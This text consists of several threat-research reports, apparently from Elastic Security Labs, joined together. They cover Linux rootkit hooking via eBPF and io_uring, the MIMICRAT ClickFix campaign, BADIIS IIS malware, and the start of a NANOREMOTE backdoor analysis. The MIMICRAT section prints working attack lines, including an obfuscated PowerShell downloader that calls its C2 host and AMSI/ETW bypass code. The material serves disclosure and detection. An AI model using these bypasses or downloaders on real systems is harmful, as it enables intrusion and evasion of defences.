    // Upper 32 bits = PID, Lower 32 bits = TID
    __u64 pid_tgid = bpf_get_current_pid_tgid();

    // Delegate handling logic to a helper function
    return handle_tp_sys_enter_execve(ctx, pid_tgid);
}

Two prominent public examples are TripleCross and Boopkit. TripleCross demonstrated a rootkit that used eBPF to hook syscalls like execve for persistence and hiding. Boopkit used eBPF as a covert communication channel and backdoor, by attaching eBPF programs that could manipulate socket buffers (allowing a remote party to communicate with the rootkit through crafted packets). These are proof-of-concept projects, but they proved the viability of eBPF in rootkit development.

Main advantages are that eBPF hooking does not require an LKM to be loaded and is compatible with modern kernel protections. For eBPF-supported kernels, this is a strong technique. But although they are powerful, they are also constrained. They need elevated privileges to load, are limited by the verifier’s safety checks, are ephemeral across reboots (requiring separate persistence), and are increasingly discoverable by auditing/forensic tools. The usage of eBPF will especially be visible on systems that typically do not use eBPF tooling.

Evasion Techniques Using io_uring

While io_uring is not used for hooking, it deserves a honorable mention as a recent addition to the EDR evasion techniques used by rootkits. io_uring is an asynchronous, ring-buffer-based I/O API that lets processes submit batches of I/O requests (SQEs) and reap completions (CQEs) with minimal syscall overhead. It is not a hooking framework, but its design changes the syscall/visibility surface and exposes powerful kernel-facing primitives (registered buffers, fixed files, mapped rings) that attackers can abuse for stealthy I/O, syscall-evading workflows, or, when combined with a vulnerability, as an exploit primitive that leads to installing hooks at a lower layer.

Attack patterns fall into two classes: (1) evasion/performance abuse: a malicious process uses io_uring to perform lots of reads/writes/metadata ops in large batches so traditional per-syscall detectors see fewer events or atypical patterns; and (2) exploit enabling: bugs in io_uring surfaces (ring mappings, registered resources) have historically been the vector for privilege escalation, after which an attacker can install kernel hooks by more traditional means. io_uring also bypasses some libc wrappers if code submits operations directly, so userland hooking that intercepts libc calls may be circumvented. A simple submit/reap flow is illustrated below:

// Minimal io_uring usage (error handling omitted)

// io_uring context (SQ/CQ rings shared with kernel)
struct io_uring ring;

// Initialize ring with space for 16 SQEs
io_uring_queue_init(16, &ring, 0);

// Grab a free submission entry (or NULL if full)
struct io_uring_sqe *sqe =
    io_uring_get_sqe(&ring);

// Prepare SQE as a read(fd, buf, len, offset=0)
io_uring_prep_read(sqe, fd, buf, len, 0);

// Submit pending SQEs to the kernel (non-blocking)
io_uring_submit(&ring);

struct io_uring_cqe *cqe;
// Block until a completion is available
io_uring_wait_cqe(&ring, &cqe);
// Mark the completion as handled (free slot)
io_uring_cqe_seen(&ring, cqe);

The example above shows a submission queue feeding many file ops into the kernel with a single or a few io_uring_enter syscalls, reducing per-operation syscall telemetry.

Adversaries interested in stealthy data collection or high-throughput exfiltration may switch to io_uring to reduce syscall noise. io_uring does not inherently install global hooks or change other processes’ behavior; it is process-local unless combined with privilege escalation. Detection is possible by instrumenting the io_uring syscalls (io_uring_enter, io_uring_register) and watching for anomalous patterns: unusually large batches, many registered files/buffers, or processes that perform heavy batched metadata operations. Kernel version differences also matter: io_uring features evolve quickly, so attacker techniques may be version-dependent. Finally, because io_uring requires a running malicious process, defenders can often interrupt it and inspect its rings, registered files, and memory mappings to uncover misuse.

Conclusion

Hooking techniques in Linux have come a long way from simply overwriting a pointer in a table. We now see attackers exploiting legitimate kernel instrumentation frameworks (ftrace, kprobes, eBPF) to implant hooks that are harder to detect. Each method, from IDT and syscall table patches to inline hooks and dynamic probes, has its own trade-offs in stealth and stability. Defenders need to be aware of all these possible vectors. In practice, modern rootkits often combine multiple hooking techniques to achieve their goals. For example, PUMAKIT uses a direct syscall table hook and ftrace hooks, and Diamorphine uses syscall hooks plus a kprobe to get around symbol hiding. This layered approach means detection tools must check many facets of the system: IDT entries, syscall tables, model-specific registers (for sysenter hooks), integrity of function prologues, contents of critical function pointers in structures (VFS, etc.), active ftrace ops, registered kprobes, and loaded eBPF programs.

In part two of this series, we move from theory to practice. Armed with the understanding of rootkit taxonomy and hooking techniques covered here, we will focus on detection engineering, building and applying practical detection strategies to identify these threats in real-world Linux environments.

During a recent investigation, Elastic Security Labs identified an active ClickFix campaign compromising multiple legitimate websites to deliver a multi-stage malware chain. Unlike simpler ClickFix deployments that terminate at commodity infostealers, this campaign ends with a capable custom remote access trojan (RAT) we have called MIMICRAT: a native C implant with malleable C2 profiles, token impersonation, SOCKS5 tunneling, and a 22-command dispatch table.

The campaign demonstrates a high level of operational sophistication: compromised sites spanning multiple industries and geographies serve as delivery infrastructure, a multi-stage PowerShell chain performs ETW and AMSI bypass before dropping a Lua-scripted shellcode loader, and the final implant communicates over HTTPS on port 443 using HTTP profiles that resemble legitimate web analytics traffic.

Key takeaways

• Multiple legitimate websites were compromised to deliver a five-stage attack chain.
• The Lua loader executes embedded shellcode.
• MIMICRAT is a bespoke native C++ RAT with malleable C2 profiles, Windows token theft, and SOCKS5 proxy.

Discovery

Elastic Security Labs first identified this campaign in early February 2026 through endpoint telemetry flagging suspicious PowerShell execution with obfuscated command-line arguments.

Given the novelty of the final payload, we publicly disclosed initial indicators via social media on February 11, 2026 to ensure the broader security community could begin hunting for and defending against this threat while our full analysis was underway. The campaign remains active as of this publication.

Researchers at Huntress have documented related ClickFix campaigns using similar infrastructure and techniques, indicating the breadth of this threat actor's operations across multiple parallel campaigns.

Campaign Delivery

The campaign's delivery relies entirely on compromising legitimate, trusted websites rather than attacker-owned infrastructure. The entry point for victims is bincheck[.]io, a legitimate Bank Identification Number (BIN) validation service. The threat actor compromised this site and injected a malicious JavaScript snippet that dynamically loads an external script hosted at https://www.investonline[.]in/js/jq.php, a second compromised site, a legitimate Indian mutual fund investment platform (Abchlor Investments Pvt. Ltd.). The external script is named to impersonate the jQuery library, blending into the page's existing resource load.

It is this remotely loaded script (jq.php) that delivers the ClickFix lure: a fake Cloudflare verification page instructing the victim to manually paste and execute a command to "fix" a problem. The lure copies a malicious PowerShell command directly to the victim's clipboard and prompts them to open a Run dialog (Win+R) or PowerShell prompt and paste it. This technique bypasses browser-based download protections entirely, as no file is downloaded.

This multidimensional compromise relies on a victim-facing website loading a malicious script from a second compromised website, distributes detection risk and increases the perceived legitimacy of the lure to both users and automated security tools. The campaign supports 17 languages, with the lure content dynamically localized based on the victim's browser language settings to broaden its effective reach. Identified victims span multiple geographies, including a USA-based university and multiple Chinese-speaking users documented in public forum discussions, suggesting broad opportunistic targeting.

The following is the list of supported languages by the ClickFix:

• English
• Chinese
• Russian
• Spanish
• French
• German
• Portuguese
• Japanese
• Korean
• Italian
• Turkish
• Polish
• Dutch
• Vietnamese
• Arabic
• Hindi
• Indonesian

Code analysis

Once the victim executes the clipboard command, the campaign unfolds across five distinct stages: an obfuscated PowerShell downloader contacts the C2 to retrieve a second-stage script that patches Windows event logging(ETW) and antivirus scanning(AMSI) before dropping a Lua-based loader; the loader decrypts and executes shellcode entirely in memory; and the shellcode ultimately delivers MIMICRAT, a capable RAT designed for persistent access and lateral movement.

Stage 1 Powershell one liner command

The clipboard-delivered command is a compact and obfuscated PowerShell one-liner:

powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt); # connects to xMRi.neTwOrk

The command uses string slicing and arithmetic index operations on a single seed string (aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf) to reconstruct both the target domain and the invocation mechanism at runtime, avoiding any plaintext representation of the C2 domain or PowerShell cmdlet names in the initial payload. The window is minimized (-WInDo Min). The extracted domain is xMRi.neTwOrk, which resolves to 45.13.212.250, and downloads a second-stage PowerShell script.

Infrastructure pivoting on 45.13.212.250 via VirusTotal relations revealed a second domain, WexMrI.CC, resolving to the same IP. Both domains share the same mixed-case formatting obfuscation pattern.

Stage 2 Obfuscated Powershell script

The downloaded second-stage PowerShell script is significantly more elaborated. All strings are constructed at runtime by resolving arithmetic expressions to ASCII characters:

$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
# Resolves to: "System.Diagnostics.Eventing.EventProvider"

This technique renders the script opaque to static analysis and signature-based detection while remaining fully functional at runtime. A dummy class declaration is included as a decoy and
the script executes four sequential operations:

ETW Bypass

The script accesses the internal m_enabled field of the System.Diagnostics.Eventing.EventProvider class via reflection and patches its value to 0, effectively disabling Event Tracing for Windows and blinding PowerShell script block logging.

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

AMSI Bypass

The script then uses reflection to access System.Management.Automation.AmsiUtils and sets the amsiInitFailed field to $true, causing PowerShell to skip all AMSI content scanning for the remainder of the session.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

AMSI - Memory Patching

The script performs runtime method handle patching via Marshal.Copy in an additional but less common defense evasion step overwriting method pointers in memory to redirect execution away from monitored code paths. This targets the function ScanContent under System.Management.Automation.AmsiUtils to an empty generate method.

$ScanContent_func = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethods("NonPublic,Static") | Where-Object Name -eq "ScanContent"
$tttttttttt       = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq "FHVcGSwOEM"

[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
    0,
    [long]$ScanContent_func.MethodHandle.Value + [long]8,
    1
)

Payload Delivery

With event logging and AV scanning disabled, the script decodes a base64-encoded ZIP archive, extracts it to a randomly named directory under %ProgramData%/knz_{random}, and executes the contained binary zbuild.exe. Temporary artifacts are cleaned up post-execution.

$extractTo = Join-Path $env:ProgramData ("knz_{0}" -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')

Stage 3 Lua loader

The dropped binary is a custom Lua 5.4.7 loader. It embeds a Lua interpreter statically.
The binary decrypts an embedded Lua script using a XOR stub at runtime, then executes it. The XOR decryption routine (fxh::utility::lua_script_xor_decrypt) iterates over the encrypted buffer XORing each byte against a key.

The Lua script implements a custom Base64 decoder with a non-standard alphabet to decode an embedded shellcode. The decoded shellcode is then allocated in executable memory via luaalloc, copied into that memory with luacpy, and finally executed via luaexe, achieving fully in-memory, fileless shellcode execution.

Stage 4 shellcode

Shellcode matched Meterpreter-related signatures, suggesting the shellcode stage is a loader consistent with the Meterpreter code-family to reflectively load MIMICRAT into memory.

Stage 5 MIMICRAT

The final payload with compilation metadata set to January 29 2026 is a native MSVC x64 PEcompiled with Microsoft Visual Studio linker version 14.44. It does not match any known open-source C2 framework exactly, implementing its own malleable HTTP C2 profiles with ASCII-character-based command dispatch and a custom architecture.

C2 Configuration and communication

MIMICRAT's configuration is stored in the .data section. It contains cryptographic keys, connection parameters, and two complete HTTP communication profiles. All header strings and URIs are hex-encoded ASCII, and decoded at runtime.

The C2 operates over HTTPS on port 443 with a 10-second callback interval. The C2 server hostname (d15mawx0xveem1.cloudfront.net) is RC4 encrypted with the following RC4 key @z1@@9&Yv6GR6vp#SyeG&ZkY0X74%JXLJEv2Ci8&J80AlVRJk&6Cl$Hb)%a8dgqthEa6!jbn70i27d4bLcE33acSoSaSsq6KpRaA7xDypo(5.

The implant uses HTTPS for communication with a layered encryption scheme: an embedded RSA-1024 public key handles asymmetric session key exchange.

While AES is used for symmetric encryption of C2 traffic it uses a hardcoded IV abcdefghijklmnop and a runtime calculated key which derived from a SHA-256 hash value of a randomly generated alpha-numeric value example 9ZQs0p0gfpOj3Y02.

The following are the profile used by the sample for POST and GET requests:

HTTP GET Profile: Check-in and Tasking

HTTP POST Profile: Data Exfiltration

Command Dispatch

MIMICRAT implements a total of 22 distinct commands to provide post-exploitation capabilities like process and file system control, interactive shell access, token manipulation, shellcode injection, and SOCKS proxy tunneling. The beacon interval and jitter are operator-configurable at runtime via dedicated commands. The following is a summarized table of all the implemented commands:

Infrastructure

The campaign's network infrastructure clusters into two primary groups:

Cluster A — Initial Payload Delivery (45.13.212.251 / 45.13.212.250)

Multiple domains point to this IP range, including xMRi.neTwOrk and WexMrI.CC. Domain naming uses mixed-case obfuscation. This infrastructure serves the second-stage PowerShell script and the embedded payload ZIP.

Cluster B Post-Exploitation C2 (23.227.202.114)

Associated with www.ndibstersoft[.]com and observed in beacon communications from the dropped file. This represents the operator's post-exploitation C2 channel.

CloudFront C2 Relay
d15mawx0xveem1.cloudfront[.]net is confirmed as part of MIMICRAT's C2 infrastructure. VT relations for the rgen.zip sample show it contacting this CloudFront domain using the same /intake/organizations/events?channel=app URI pattern identified in MIMICRAT's GET profile, confirming it acts as a C2 relay fronting for the backend server.

Delivery Infrastructure

Two compromised legitimate websites form the delivery chain:

• bincheck.io — victim-facing entry point; compromised to load the external malicious script
• investonline.in — hosts the ClickFix JavaScript payload (/js/jq.php) disguised as jQuery; this script renders the lure and delivers the clipboard PowerShell

Malware and MITRE ATT&CK**

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Defense Evasion
• Persistence
• Privilege Escalation
• Discovery
• Exfiltration
• Command and Control

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Phishing: Spearphishing via Service (ClickFix clipboard)
• User Execution: Malicious Link
• Command and Scripting Interpreter: PowerShell
• Obfuscated Files or Information: Command Obfuscation
• Impair Defenses: Disable or Modify Tools (AMSI bypass)
• Impair Defenses: Disable Windows Event Logging (ETW patch)
• Reflective Code Loading / In-Memory Execution
• Scheduled Task/Job
• Access Token Manipulation: Token Impersonation/Theft
• Process Injection
• Process Discovery
• File and Directory Discovery
• Exfiltration Over C2 Channel
• Application Layer Protocol: Web Protocols (HTTPS)
• Proxy

Mitigations

Detection

The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:

• Execution via Obfuscated PowerShell Script
• DNS Query to Suspicious Top Level Domain
• Suspicious Command Shell Execution via Windows Run
• Token theft and impersonation
• Potential Privilege Escalation via Token Impersonation
• Shellcode Execution from Low Reputation Module

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the MimicRat:

rule Windows_Trojan_MimicRat {
    meta:
        author = "Elastic Security"
        creation_date = "2026-02-13"
        last_modified = "2026-02-13"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "MimicRat"
        threat_name = "Windows.Trojan.MimicRat"
        reference_sample = "a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b"
        scan_type = "File, Memory"
        severity = 100

    strings:
        $b_0 = { 41 8B 56 18 49 8B 4E 10 41 89 46 08 }
        $b_1 = { 41 FF C0 48 FF C1 48 83 C2 4C 49 3B CA }
    condition:
        all of them
}

Observations

The following observables were discussed in this research.

In November 2025, Elastic Security Labs observed an intrusion affecting a multinational organization based in Southeast Asia. During the analysis of this activity, our team observed various post-compromise techniques and tooling used to deploy BADIIS malware onto a Windows web server. These observations align with previous reporting from Cisco Talos and Trend Micro from last year.

This threat group has amassed more victims and is coordinating a large-scale SEO poisoning operation from countries across the globe. Our visibility into the campaign indicates a complex, geotargeted infrastructure designed to monetize compromised servers by redirecting users to a broad network of illicit websites such as online gambling platforms and cryptocurrency schemes.

Key takeaways

• Elastic Security Labs observes large-scale SEO poisoning campaigns targeting IIS servers with BADIIS malware globally, impacting over 1,800 Windows servers
• Compromised servers are monetized through a web of infrastructure used to target users with gambling advertisements and other illicit websites
• Victim infrastructure includes governments, various corporate organizations, and educational institutions from Australia, Bangladesh, Brazil, China, India, Japan, Korea, Lithuania, Nepal, and Vietnam
• This activity corresponds with the threat group, UAT-8099, identified by Cisco Talos last October, and is consistent with prior reporting from Trend Micro

Campaign Overview

REF4033 is a Chinese-speaking cybercrime group responsible for a massive, coordinated SEO poisoning campaign that has compromised more than 1,800 Windows web servers worldwide using a malicious IIS module called BADIIS.

The campaign operates through a two-phase process:

• First, it serves keyword-stuffed HTML to search engine crawlers to poison search results, and
• Next, it redirects victims to a sprawling "vice economy" of illicit gambling platforms, pornography, and sophisticated cryptocurrency phishing sites, such as a fraudulent clone of the Upbit exchange.

By deploying the BADIIS malware, a malicious IIS module that integrates directly into a web server's request processing pipeline, the group hijacks the web servers for legitimate government, educational, and corporate domains. This high-reputation infrastructure is used to manipulate search engine rankings, thereby allowing attackers to intercept web traffic and facilitate widespread financial fraud.

Intrusion activity

In November 2025, Elastic Security Labs observed post-compromise activity from a Windows IIS server from an unknown attack vector. This threat actor moved quickly, progressing from initial access to IIS module deployment in less than 17 minutes. The initial enumeration was performed via a webshell running under the IIS worker process (w3wp.exe). The attacker conducted initial discovery and then created a new user account.

Shortly after the account was created and added to the Administrators group, Elastic Defend generated several alerts related to a newly created Windows service, WalletServiceInfo. The service loaded an unsigned ServiceDLL (C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.dll) and subsequently executed direct syscalls from the module.

Next, we saw the threat actor harden their access by using a program called D-Shield Firewall. This software provides additional security features for IIS servers, including preventive protections and capabilities to add network restrictions. To proceed with the investigation, we used the observed imphash (1e4b23eee1b96b0cc705da1e7fb9e2f3) of the loader (C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.exe) to obtain a loader sample from VirusTotal for our analysis.

To collect a sample of the malicious DLL used by this loader, we performed a VirusTotal search on the name (CbsMsgApi.dll). We found 7 samples submitted using the same filename. The group behind this appears to have been using a similar codebase since September 2024. Most of these samples employ VMProtect, a commercial code-obfuscation framework, to hinder static and dynamic analysis. Fortunately, we used an older, non-protected sample to gain additional insight into this attack chain.

Code analysis - CbsMsgApi.exe

The group employs an attack workflow that requires several files staged by the attacker to deploy the malicious IIS module. The execution chain begins with the PE executable, CbsMsgApi.exe. This file contains Chinese Simplified strings, including the PDB string (C:\Users\Administrator\Desktop\替换配置文件\w3wpservice-svchost\x64\Release\CbsMsgApi.pdb).

After launch, this program creates a Windows service, WalletServiceinfo, which configures a ServiceDLL (CbsMsgApi.dll) that runs under svchost.exe, similar to this persistence technique.

This newly created service focuses on stealth and anti-tampering by modifying the security descriptor of the service with the following command-line:

sc sdset "WalletServiceInfo" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

Code analysis - CbsMsgApi.dll

The main component of this attack sequence is the ServiceDLL (CbsMsgApi.dll). The malicious DLL stages the BADIIS IIS native modules and alters the IIS configuration to load them into the request pipeline of the DefaultAppPool.

During this attack, the threat actor stages three files masquerading within the System32\drivers folder:

• C:\Windows\System32\drivers\WUDFPfprot.sys
• C:\Windows\System32\drivers\WppRecorderpo.sys
• C:\Windows\System32\drivers\WppRecorderrt.sys

Two of these files (WppRecorderrt.sys, WppRecorderpo.sys) represent the malicious 32-bit / 64-bit BADIIS modules. The other file (WUDFPfprot.sys) represents configuration elements that will be injected into the IIS’s existing configuration. Below is an example configuration used during our analysis. Of note is the module name WsmRes64 (more information on this DLL is detailed in the IIS Modules Analysis (WsmRes32.dll / WsmRes64.dll) section below):

<globalModules>
    	<add name="WsmRes64" image="C:\Windows\Microsoft.NET\Framework\WsmRes64.dll" preCondition="bitness64" />
</globalModules>
<modules>
    <add name="WsmRes64" preCondition="bitness64" />
</modules>

The malware uses the CopyFileA function to move the contents from the masqueraded files into the .NET directory (C:\Windows\Microsoft.NET\Framework).

Next, the malware parses the DefaultAppPool.config file, examining each node to update the <globalModules> and <modules> nodes. The module will inject configuration content from the previously masqueraded file (WUDFPfprot.sys), updating the IIS configuration via a series of append operations.

Below is an example of the newly added global module entry that references the BADIIS DLL.

Upon successful execution, the BADIIS module is installed on the IIS server and becomes visible as a loaded module in the w3wp.exe worker process.

IIS Modules Analysis (WsmRes32.dll / WsmRes64.dll)

The following section will describe the functionality of BADIIS modules. These modules facilitate the conditional injection or redirection of malicious SEO content based on criteria such as the User-Agent or Referer header value. This technique ensures that malicious content remains hidden during normal use, thereby allowing the modules to remain undetected for as long as possible.

Upon initialization, the module downloads content from URLs defined in its configuration. These URLs are stored in an encrypted format and decrypted using the SM4 algorithm (a Chinese national standard block cipher) in ECB mode with the key “1111111122222222”. In older samples, the AES-128 ECB algorithm was used instead.

Each URL in the configuration points to a static .txt file that contains a second-stage resource. The list below details these source files and their specific roles:

These URLs point to region-specific files, prefixed with the corresponding country code. While the examples above focus on Korea (hxxp://kr.domain.com), equivalent files exist for other regions, such as Vietnam (VN), where filenames are prefixed with "vn" rather than "kr"(hxxp://vn.domain.com).

The BADIIS module registers within the request processing pipeline, positioning itself as both the first and the last handler. For each request, the module verifies specific properties and selects an injection or redirection strategy based on the results. We have three types of injection:

To distinguish between bot and human traffic, the module checks against the following list of Referers and User-Agents.

Referers: bing, google, naver, daum
User agents: bingbot, Googlebot, Yeti, Daum

The default injection strategy targets search engine crawlers accessing a legitimate page on the compromised site.

In this scenario, the SEO backlinks are retrieved from the secondary link and injected into the page to be crawled by search engine bots. The downloaded backlinks that are injected into the infected page primarily target other local pages within the domain, whereas the remainder point to pages on other infected domains. This is a key aspect of the link-farming strategy, which involves creating large networks of sites that link to one another and manipulate search rankings.

The local pages linked by the backlinks do not exist on the infected domain, so visiting them results in a 404 error. However, when the request is intercepted, the malware checks two conditions: whether the status code is not 200 or 3xx, and whether the browser's User-Agent matches a crawler bot. If so, it downloads content from an SEO page hosted on its infrastructure (via a link in the *fmldz.txt file from its configuration URL) and returns a 200 response code to the bot. This target URL is built using 'domain' and 'uri' parameters that contain the infected domain name and the resource the crawler originally attempted to access.

Finally, if a user requests a page that does not exist and arrives with a Referer header value listed by the malware, the page is replaced by a third type of content: a landing page with a loading bar. This page uses JavaScript to redirect the user to the link contained in the *fmltz.txt file, which is obtained via its configuration link.

Optionally, if enabled, the request is executed only when the User-Agent matches a mobile phone, ensuring the server targets mobile users exclusively.

The list of mobile User-Agents is listed below:

Devices: iPhone, iPad, iPod, iOS, Android, uc (UC Browser), BlackBerry, HUAWEI

If the option is enabled and the infected server's IP address matches the subnet list in the google.css file downloaded from the *fmlip.txt file, the server serves the standard SEO content instead of the landing/redirection page.

The landing page includes JavaScript code containing an analytics tag—either Google Analytics or Baidu Tongji, depending on the target region—to monitor redirections. While the exact reason for using server IP filtering to restrict traffic remains unclear, we speculate that it is linked to these analytics and implemented for SEO purposes.

We identified the following Google tags across the campaign:

• G-2FK43E86ZM
• G-R0KHSLRZ7N

As well as a Baidu Tongji tag:

• B59ff1638e92ab1127b7bc76c7922245

Campaign Analysis

Based on similarity in URL patterns (<country_code>fml__.txt, <country_code>fml/index.php), we discovered an older campaign dating back to mid-2023 that was using the following domains as the configuration server.

• tz123[.]app
• tz789[.]app

tz123[.]app was disclosed in a Trend Micro BADIIS campaign summary IOC list, published in 2024 . Based on the first submission dates on VT for samples named ul_cache.dll and communicating with hxxp://tz789[.]app/brfmljs[.]txt, some are also submitted under the filename WsmRes64.dll. This naming convention is consistent with the BADIIS loader component analyzed in the prior section. The earliest sample we discovered on VT was first submitted on 2023-12-12.

For REF4033, the infrastructure is split between two primary configuration servers.

• Recent campaigns (gotz003[.]com): Currently serves as the primary configuration hub. Further analysis has identified 5 active subdomains categorized by country codes:
  • kr.gotz003[.]com (South Korea)
  • vn.gotz003[.]com (Vietnam)
  • cn.gotz003[.]com (China)
  • cnse.gotz003[.]com (China)
  • bd.gotz003[.]com (Bangladesh)
• Legacy infrastructure (jbtz003[.]com): Used in older campaign iterations, though several subdomains remain operational:
• br.jbtz003[.]com (Brazil)
• vn.jbtz003[.]com (Vietnam)
• vnbtc.jbtz003[.]com (Vietnam)
• in.jbtz003[.]com (India)
• cn.jbtz003[.]com (China)
• jp.jbtz003[.]com (Japan)
• pk.jbtz003[.]com (Pakistan)

At its core, the recent campaign monetizes compromised servers by redirecting users to a vast network of illicit websites. The campaign is heavily invested in the vice economy, targeting Asian audiences, such as unregulated online casinos, pornography streaming, and explicit advertisements for prostitution services.

It also poses a direct financial threat. One example was a fraudulent cryptocurrency staking platform hosted at uupbit[.]top, impersonating Upbit, South Korea’s largest cryptocurrency exchange.

The campaign’s targeting logic largely mirrors the compromised infrastructure's geography, establishing a correlation between the server’s location and the user’s redirection target. For instance, compromised servers in China funnel traffic to local gambling sites, while those in South Korea redirect to the fraudulent Upbit phishing site. The exception to this pattern involved compromised infrastructure in Bangladesh, which the actors configured HTTP redirects to point to non-local, Vietnamese gambling sites.

We have observed several different redirection loading pages throughout the clusters. Below is an example of the user redirection template for a sample targeting VN victim infrastructure. This template uses a Google tag and is very similar to one of the templates described in Cisco Talos’ UAT-8099 research.

A more consistent template observed across the victim clusters is shown in the snippet below, particularly the progress bar logic. Since the sample targets CN victim infrastructure, Baidu Tongji is used for tracking victim redirection.

We discovered several clusters (some with overlaps) of compromised servers from URLs containing backlinks in the following list:

• http://kr.gotz001[.]com/lunlian/index.php
• http://se.gotz001[.]com/lunlian/index.php
• https://cn404.gotz001[.]com/lunlian/index.php
• https://cnse.gotz001[.]com/lunlian/index.php
• https://cn.gotz001[.]com/lunlian/index.php
• https://cn.gotz001[.]com/lunlian/indexgov.php
• https://vn404.gotz001[.]com/lunlian/index.php
• https://vn.gotz001[.]com/lunlian/index.php
• http://bd.gotz001[.]com/lunlian/index.php
• http://vn.jbtz001[.]com/lunlian/index.php
• https://vnse.jbtz001[.]com/lunlian/index.php
• https://vnbtc.jbtz001[.]com/lunlian/index.php
• https://in.jbtz001[.]com/lunlian/index.php
• https://br.jbtz001[.]com/lunlian/index.php
• https://cn.jbtz001[.]com/lunlian/index.php
• https://jp.jbtz001[.]com/lunlian/index.php
• https://pk.jbtz001[.]com/lunlian/index.php

Within the scope of REF4033, more than 1800 servers were impacted globally, and the campaign demonstrates a clear geographic focus on the APAC region, with China and Vietnam accounting for approximately 82% of all observed compromised servers (46.1% and 35.8%, respectively). Secondary concentrations are observed in India (3.9%), Brazil (3.8%), and South Korea (3.4%), although these represent a minority of the overall campaign footprint. Notably, approximately 30% of compromised servers reside on major cloud platforms, including Amazon Web Services, Microsoft Azure, Alibaba Cloud, and Tencent Cloud. The remaining 70% of victims are distributed across regional telecommunications providers.

The victim profile spans diverse sectors, including government agencies, educational institutions, healthcare providers, e-commerce platforms, media outlets, and financial services, indicating large-scale opportunistic exploitation rather than targeted exploitation. Government and public administration systems represent approximately 8% of identified victims across at least 5 countries (.gov.cn, .gov.br, .gov.bd, .gov.vn, .gov.in, .leg.br).

REF4033 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Persistence
• Defense Evasion
• Discovery

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Exploit Public-Facing Application
• Server Software Component: IIS Components
• Create Account: Local Account
• Create or Modify System Process: Windows Service
• Hijack Execution Flow: Services Registry Permissions Weakness
• Obfuscated Files or Information: Software Packing
• Masquerading: Match Legitimate Name or Location
• System Information Discovery

Remediating REF4033

Prevention

• Suspicious Microsoft IIS Worker Descendant
• Potential Privilege Escalation via Token Impersonation
• Privilege Escalation via SeImpersonatePrivilege
• Direct Syscall from Unsigned Module
• Suspicious Windows Service DLL Creation
• Suspicious Svchost Registry Modification
• Security Account Manager (SAM) Registry Access

YARA

Elastic Security has created YARA rules to identify this activity.

• Windows.Trojan.BadIIS
• Windows.Trojan.Generic

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud
• https://blog.talosintelligence.com/uat-8099-new-persistence-mechanisms-and-regional-focus/
• https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html

In October 2025, Elastic Security Labs discovered a newly-observed Windows backdoor in telemetry. The fully-featured backdoor we call NANOREMOTE shares characteristics with malware described in REF7707 and is similar to the FINALDRAFT implant.

One of the malware’s primary features is centered around shipping data back and forth from the victim endpoint using the Google Drive API. This feature ends up providing a channel for data theft and payload staging that is difficult for detection. The malware includes a task management system used for file transfer capabilities that include queuing download/upload tasks, pausing/resuming file transfers, canceling file transfers, and generating refresh tokens.

This report aims to enhance awareness among defenders and organizations regarding the threat actors we are monitoring and their evolving capabilities.

Key takeaways

• Elastic Security Labs discovers a new Windows backdoor
• NANOREMOTE likely developed by espionage threat actor linked to FINALDRAFT and REF7707
• NANOREMOTE includes command execution, discovery/enumeration and file transfer capabilities using Google Drive API
• The backdoor integrates functionality from open-source projects including Microsoft Detours and libPeConv
• Elastic Defend prevents the NANOREMOTE attack chain through behavioral rules, machine learning classifier, and memory protection features

NANOREMOTE analysis

WMLOADER

The observed attack chain consists of two primary components, a loader (WMLOADER) and payload (NANOREMOTE). Although this report focuses on NANOREMOTE, we will describe the loader to provide context on the overall infection flow.

WMLOADER masquerades as a Bitdefender Security program (BDReinit.exe) with an invalid digital signature.

After execution, the program makes a large number of calls to Windows functions (VirtualAlloc / VirtualProtect), preparing the process to host embedded shellcode stored within the file. The shellcode is located at RVA (0x193041) and decrypted using a rolling XOR algorithm.

